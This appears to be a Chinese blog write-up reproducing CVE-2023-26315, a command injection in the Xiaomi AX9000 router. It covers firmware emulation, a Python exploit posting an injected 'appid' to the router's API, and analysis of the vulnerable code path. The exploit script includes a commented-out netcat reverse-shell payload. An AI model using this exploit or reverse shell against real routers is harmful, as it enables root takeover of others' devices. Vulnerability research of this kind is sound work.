小米AX9000 CVE-2023-26315 / CNVD-2024-23093 漏洞复现
小米AX9000 CVE-2023-26315 / CNVD-2024-23093 漏洞复现

小米AX9000 CVE-2023-26315 / CNVD-2024-23093 漏洞复现

小米AX9000 CVE-2023-26315 / CNVD-2024-23093 漏洞复现

漏洞概述:小米路由器AX9000存在认证后命令注入漏洞。此漏洞是由于缺乏输入筛选导致的,攻击者可以利用此漏洞获得对设备的root访问权限。
漏洞编号:CVE-2023-26315 / CNVD-2024-23093
漏洞涉及固件:miwifi_ra70_firmware_cc424_1.0.168.bin
下载链接:https://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra70/miwifi_ra70_firmware_cc424_1.0.168.bin

固件模拟

模拟固件开始:
根据WINMT的文章所述,先用binwalk3解压固件

binwalk3 -Me miwifi_ra70_firmware_cc424_1.0.168.bin

然后进入squashfs-root文件夹
由于固件用到了proc和dev里面的一些接口,这里就直接用mount –bind命令将本机的dev和proc文件挂载到squashfs-root文件夹内的dev和proc

sudo mount --bind /proc proc
sudo mount --bind /dev dev

然后用chroot . sh更改更目录为squashfs-root,并启动固件的bash

chroot . /bin/sh

直接启动sysapihttpd,会报noexistdictory错误,可知缺少/var/lock/procd_sysapihttpd.lock这个文件。然后还需要启动ubusd,ubusd会报丢失/var/run/ubus.sock,创建这两个目录和文件即可

mkdir /var/run
mkdir /var/lock
touch /var/run/ubus.sock
touch /var/lock/procd_sysapihttpd.lock

然后启动procd守护进程,ubusd服务,再执行启动sysapihttpd的脚本,即可启动web服务

/sbin/procd &
ubusd &
/etc/init.d/sysapihttpd start


我们在mac book pro M3系列arm64虚拟机上模拟一切正常并且可以打开web网页,但是在x64架构上的虚拟机中模拟失败了,后面的一系列操作都是在macbook上完成的。
直接访问IP地址,即可见到web页面

由于固件是模拟起来的,所以在初始化设置的时候会有一些问题,所以需要执行以下命令跳过初始化

uci set xiaoqiang.common.INITTED=1
uci commit

再次访问即可进入路由器管理登录页面

由于我们跳过了初始化,所以也没有设置路由器管理密码,这里就只能通过命令行输入

uci set account.common.admin=b3a4190199d9ee7fe73ef9a4942a69fece39a771
uci commit

即可更改密码为admin,这里的b3a4190199d9ee7fe73ef9a4942a69fece39a771来自sha1加密,sha1原文是admin加上一段固定的字符串a2ffa5c9be07488bbb04a3a47d3c5f6a
sha1(admina2ffa5c9be07488bbb04a3a47d3c5f6a)=b3a4190199d9ee7fe73ef9a4942a69fece39a771

漏洞复现

在运行脚本前,还需要启动两个服务,并且登录,拿到token

/usr/sbin/datacenter &
/usr/sbin/plugincenter &


攻击载荷:

import requests

server_ip = "192.168.1.193"  
token = "4d58c174fe0f30c0797efc7f228142b6"
nc_shell =";echo 1 > /tmp/1.txt;"
#nc_shell = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} 8889 >/tmp/f;".format(client_ip)

res = requests.post("http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token), data={'payload':'{"api":629, "appid":"' + nc_shell + '"}'})

print(res.text)


可以看到文件已创建,命令执行成功!

漏洞分析

定位到前端代码lua脚本:
/squashfs-root/usr/lib/lua/luci/controller/api
这个目录下存放了该漏洞的exp请求的lua脚本文件xqdatacenter.lua
尝试用gedit打开,发现是加密过了,用unluac_miwifi这个工具可以进行解密还原

git clone https://github.com/NyaMisty/unluac_miwifi.git
cd unluac_miwifi
mkdir build
javac -d build -sourcepath src  src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build  .

得到jar文件后,将unluac.jar拷贝到该目录,然后执行

java -jar ./unluac.jar ./xqdatacenter.lua > decode_xqdatacenter.lua

就能得到解密后的lua脚本了。
通过定位request关键字,我们能找到index -> tunnelRequest这里

function L0()
  local L0, L1, L2, L3, L4, L5, L6
  L0 = node
  L1 = "api"
  L2 = "xqdatacenter"
  L0 = L0(L1, L2)
  L1 = firstchild
  L1 = L1()
  L0.target = L1
  L0.title = ""
  L0.order = 300
  L0.sysauth = "admin"
  L0.sysauth_authenticator = "jsonauth"
  L0.index = true
  L1 = entry
  L2 = {}
  L3 = "api"
  L4 = "xqdatacenter"
  L2[1] = L3
  L2[2] = L4
  L3 = firstchild
  L3 = L3()
  L4 = _
  L5 = ""
  L4 = L4(L5)
  L5 = 300
  L1(L2, L3, L4, L5)
  L1 = entry
  L2 = {}
  L3 = "api"
  L4 = "xqdatacenter"
  L5 = "request"
  L2[1] = L3
  L2[2] = L4
  L2[3] = L5
  L3 = call
  L4 = "tunnelRequest"
  L3 = L3(L4)
  L4 = _
  L5 = ""
  L4 = L4(L5)
  L5 = 301
  L1(L2, L3, L4, L5)
  L1 = entry
  ...skip...
    L3 = "api"
  L4 = "xqdatacenter"
  L5 = "fsys_resume"
  L2[1] = L3
  L2[2] = L4
  L2[3] = L5
  L3 = call
  L4 = "fsysResume"
  L3 = L3(L4)
  L4 = _
  L5 = ""
  L4 = L4(L5)
  L5 = 301
  L1(L2, L3, L4, L5)
end
index = L0
function L5()
  local L0, L1, L2, L3, L4, L5, L6, L7, L8
  L0 = require
  L1 = "xiaoqiang.util.XQCryptoUtil"
  L0 = L0(L1)
  L1 = L0.binaryBase64Enc
  L2 = _UPVALUE0_
  L2 = L2.formvalue_unsafe
  L3 = "payload"
  L2, L3, L4, L5, L6, L7, L8 = L2(L3)
  L1 = L1(L2, L3, L4, L5, L6, L7, L8)
  L2 = _UPVALUE1_
  L2 = L2.THRIFT_TUNNEL_TO_DATACENTER
  L2 = L2 % L1
  L3 = require
  L4 = "luci.util"
  L3 = L3(L4)
  L4 = _UPVALUE0_
  L4 = L4.write
  L5 = L3.exec
  L6 = L2
  L5 = L5(L6)
  L6 = nil
  L7 = false
  L8 = true
  L4(L5, L6, L7, L8)
end
tunnelRequest = L5

可以看到脚本中tunnelRequest函数用先用binaryBash64Enc加密了所有request内容,然后再用L2.formvalue_unsafe函数调用payload字段的内容,然后调用THRIFT_TUNNEL_TO_DATACENTER发送出去
在/squashfs-root/usr/lib/lua/xiaoqiang/common/XQConfigs.lua中能看到THRIFT_TUNNEL_TO_DATACENTER的定义:

L0 = "thrifttunnel 0 '%s'"
THRIFT_TUNNEL_TO_DATACENTER = L0
L0 = "thrifttunnel 1 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME = L0
L0 = "thrifttunnel 2 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = L0
L0 = "thrifttunnel 3 ''"
THRIFT_TO_MQTT_IDENTIFY_DEVICE = L0
L0 = "thrifttunnel 4 ''"
THRIFT_TO_MQTT_GET_SN = L0
L0 = "thrifttunnel 5 ''"
THRIFT_TO_MQTT_GET_DEVICEID = L0
L0 = "thrifttunnel 6 '%s'"
THRIFT_TUNNEL_TO_MIIO = L0
L0 = "thrifttunnel 7 '%s'"
THRIFT_TUNNEL_TO_YEELINK = L0
L0 = "thrifttunnel 8 '%s'"
THRIFT_TUNNEL_TO_CACHECENTER = L0

这里执行了系统命令
thrifttunnel 0 '%s
这点在我们执行exp时也发现了。


继续跟进到/usr/sbin/thrifttunnel
调用链为

main(a1,a2) -> sub_AB08(a1,a2) -> sub_1B9B0(v13,v12) -> sub_1F1F8()  base64解密 ->  sub_1BAE0(v12) -> apache::thrift::transport::TSocket::TSocket(v2, v22, 9090LL); 建立socket发送到localhost:9090端口。


第一参数为0,第二参数为eyJhcGkiOjYyOSwgImFwcGlkIjoiO2VjaG8gMSA+IC90bXAvMTIzNC50eHQ7In0=

这里sub_1B6FC经查看,程序功能接近strcpy,将字符串拷贝进v13,然后调用sub_1B9B0(v13,v12)并在该函数调用sub_1F1F8()解密,然后将值传给v12

再回到sub_AB08(),进入case 0:分支sub_1BAE0(v12)

然后在sub_1BAE0函数,建立socket并且发送到localhost:9090进程间通信。

之后的调用链位于/usr/sbin/datacenter
进入main函数,可以看到程序监听了localhost:9090端口

然后程序将获取到的值经过一系列thrift库函数传递到constructAPIMappingTable中,然后在该函数中的

datacenter::PluginApiCollection::sConstructMappingTable(a1)

里面,定义了所有apiid的具体选项

然后到callPluginCenter函数,将数据发送到localhost:9091

然后用IDA打开/usr/sbin/plugincenter发现这里和datacenter的逻辑一样,监听了9091端口获取数据给v41
然后调用apache::thrift::server::TNonblockingServer::serve((apache::thrift::server::TNonblockingServer *)v41);传递给中间函数做下一步处理
datacenter::PluginApiMappingExtendCollection::sConstructMappingTable里面定义了所有API ID对应调用的函数

发现程序调用了parseGetIdForVendor经过一系列处理后,将获取到的json内容传入PluginApi::getIdForVendor

然后在这个函数里面调用了CommonUtils::sCallSystem(v15, v13);
这里虽然有一个判断,检测app id是否合法,但是识别到invalid app id之后,程序并没有退出,而是继续往下执行,结果就造成了命令执行

结语

这是我第一次模拟出来小米路由器的固件,winmt大大给出的模拟方法和他的思路令人叹为观止,特此学习并记录下来。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注